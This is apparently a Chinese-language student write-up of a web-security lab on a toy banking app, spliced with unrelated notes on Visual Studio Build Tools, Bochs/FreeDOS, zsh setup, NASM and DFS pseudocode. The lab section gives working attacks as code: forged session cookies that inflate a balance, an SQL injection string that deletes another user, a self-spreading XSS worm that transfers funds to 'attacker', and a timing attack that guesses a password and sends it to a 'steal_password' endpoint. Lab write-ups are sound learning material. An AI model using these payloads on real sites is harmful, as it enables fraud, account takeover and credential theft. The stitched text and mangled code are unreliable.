let ses = docCookies.getItem("session"); let info_s = b64_to_utf8(ses); let info = JSON.parse(info_s);
console.log(info_s);
info.account.username = "user1"; info_s = JSON.stringify(info); ses = utf8_to_b64(info_s);
console.log(info_s);
document.cookie = "session=" + ses;
Cooking the Books with Cookies
看源码 router.js,会发现它在更新数据的时候原数目是直接从 session 里取的
1 2 3
req.session.account.bitbars -= amount; query = `UPDATE Users SET bitbars = "${req.session.account.bitbars}" WHERE username == "${req.session.account.username}";`; await db.exec(query);
所以你直接对 cookie 改动,然后随便 trans 一下,这个东西就写到数据库里了。
答案如下,基本跟上一个是一样的
1 2 3 4 5 6 7 8 9 10
var docCookies = { ... }; let ses = docCookies.getItem("session"); let info_s = atob(ses); let info = JSON.parse(info_s); info.account.bitbars = 1000000000; info_s = JSON.stringify(info); ses = btoa(info_s); document.cookie = "session=" + ses;
SQL Injection
看源码 router.js,代码
1 2
const query = `DELETE FROM Users WHERE username == "${req.session.account.username}";` await db.get(query);
要求删掉该用户时 user3 也会被删掉。关键在于如何让这个恶意用户也一起被删掉。
1
user3" or username like "user3%
Profile Worm
查看 Profile 时触发,观察源码,profile 的内容是插入到 html 里的,鉴定为 XSS 注入。
<script> // parse cookie let ses = document.cookie.slice(8); let info_s = atob(ses); let info = JSON.parse(info_s); // get profile and modify let prof = document.getElementById("profile").innerHTML; info.account.profile = prof; // encode again info_s = JSON.stringify(info); ses = btoa(info_s); document.cookie = "session=" + ses; // trans let xhr1 = newXMLHttpRequest(); xhr1.open("POST", "post_transfer"); xhr1.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr1.send("destination_username=attacker&quantity=1"); // upload profile to database let xhr2 = newXMLHttpRequest(); xhr2.open("POST", "set_profile"); xhr2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr2.send("new_profile=" + encodeURIComponent(prof)); </script>
Password Extraction via Timing Attack
最后这个是要你改 gamma_starter.html 来进行一次侧信道攻击。
这个 on error 我没用过,随便试了试,大概就下面这样吧。总之,记下用时,取那个最离谱的就行。
<spanstyle='display:none'> <imgid='test'/> <script> var dictionary = [`password`, `123456`, `12345678`, `dragon`, `1234`, `qwerty`, `12345`]; var index = 0, ans = -1, ti = 0; var test = document.getElementById(`test`); test.onerror = () => { var end = newDate(); /* >>>> HINT: you might want to replace this line with something else. */ console.log(`Try ${dictionary[index - 1]}: Time elapsed ${end-start}`); if (ti < end - start) { ti = end - start; ans = index - 1; } /* <<<<< */ start = newDate(); if (index < dictionary.length) { /* >>>> TODO: replace string with login GET request */ test.src = `http://192.168.43.134:3000/get_login?username=userx&password=${dictionary[index]}`; /* <<<< */ } else { /* >>>> TODO: analyze server's reponse times to guess the password for userx and send your guess to the server <<<<< */ let xhr = newXMLHttpRequest(); xhr.open("GET", `http://192.168.43.134:3000/steal_password?password=${dictionary[ans]}&timeElapsed=${ti}`); xhr.send(); } index += 1; }; var start = newDate(); /* >>>> TODO: replace string with login GET request */ test.src = `http://192.168.43.134:3000/get_login?username=userx&password=${dictionary[index]}`; /* <<<< */ index += 1; </script> </span>
我们可以选择下载 Vistual Studio 生成工具,而不是安装整个 Vistual
Studio。
在官网下载页面下拉,找到
"所有下载 -> 适用于 Vistual Studio 2022 的工具 -> Visual Studio
2022 生成工具"。
如果在运行下载的安装包时出现闪退,请不要反复双击安装包,因为它其实是
Installer 的安装包。可以在 Windows 搜索中手动打开 Vistual Studio
Installer 后选择 VS 生成工具进行安装。
安装时根据需要,选中 "使用 C++ 的桌面开发" 即可。
安装时,可以选择安装位置到 D
盘。如果有一些选项是灰色的,可以打开注册表 (Windows + R 输入
regedit),删除 "HKEY_LOCAL_MACHINE > SOFTWARE > Microsoft >
Visual Studio > setup",再重新打开 Installer 进行安装。
至于 sourceforge.net 上提供的那个,则是个 hard
disk,配置起来和书上提供的有很大出入(当然它有给出示例
bochsrc,所以你想跑那个也不是不行)。
在 bochs.sourceforge.io 上下载的这个,虽然描述说的是 "10-meg hard
disk image which boots into FreeDOS",但其实这个 hard disk image
指的是压缩包里的 c.img,另外两个软盘 a.img 和 b.img
虽然在示例中没有作为启动盘使用,但它们也是启动盘。
我直接把 boot: c 改成 a 和 b 试了一下。a.img
是可以正常且完整启动的。b.img 可以看得出进入了引导程序,但是内核或 FAT
的加载似乎出现了什么问题。我暂时没有去细究这个 b。但是书本上教的把 a.img
复制出来改成 freedos.img 当启动盘用确实是可行的。
需要注意的是它的界面和平常用的 windows
不太一样。当终端在前台运行时,桌面左上角会有一个 terminal
的字样,光标移动到它上面,才会出现我们平常见的菜单栏。Terminal ->
Preferences ->
Profiles,可以直接改原来的这个配置,也可以建一个新的,但是要记得改下面的
profile used when launching a new terminal。
把 profile 里 run a custom command install of my shell 勾上,写上
zsh。顺便把下面的 exit 效果设置成退出终端,体验就和 chsh
基本一致了。
# You can tweak the install behavior by setting variables when running the script. For # example, to change the path to the Oh My Zsh repository: # ZSH=~/.zsh sh install.sh # # Respects the following environment variables: # ZSH - path to the Oh My Zsh repository folder (default: $HOME/.oh-my-zsh) # REPO - name of the GitHub repo to install from (default: ohmyzsh/ohmyzsh) # REMOTE - full remote URL of the git repo to install (default: GitHub via HTTPS) # BRANCH - branch to check out immediately after install (default: master) REMOTE=git@gitee.com:mirrors/oh-my-zsh.git sh install.sh
P.S.
模拟器和虚拟机是有很大区别的。模拟器的所有指令都需要经过软件的模拟,也因此它可以跑另一种
CPU
架构下的系统。而个人理解的虚拟化强调的是物理资源的抽象和分配。具体的可以百度
Formal Requirements for Virtualizable Third Generation
Architectures
这篇论文了解。当然这和这个实验没有任何关系,我们并不是在研究虚拟化技术,我们研究的是如何实现一个简单的操作系统。
NASM supports two special tokens in expressions, allowing
calculations to involve the current assembly position: the $ and $$
tokens. $ evaluates to the assembly position at the beginning of the
line containing the expression; so you can code an infinite loop using
JMP $. $$ evaluates to the beginning of the current section; so you can
tell how far into the section you are by using ($-$$).
function dfs(u): vis[u] := true iterate through each edge (u, v) in the order from smallest to largest edge weight if vis[v] = false add edge (u, v) into the set (s) dfs(v)
function findMST(u): reset all elements of (vis) to false reset the edge set (s) to empty dfs(u) return the edge set (s)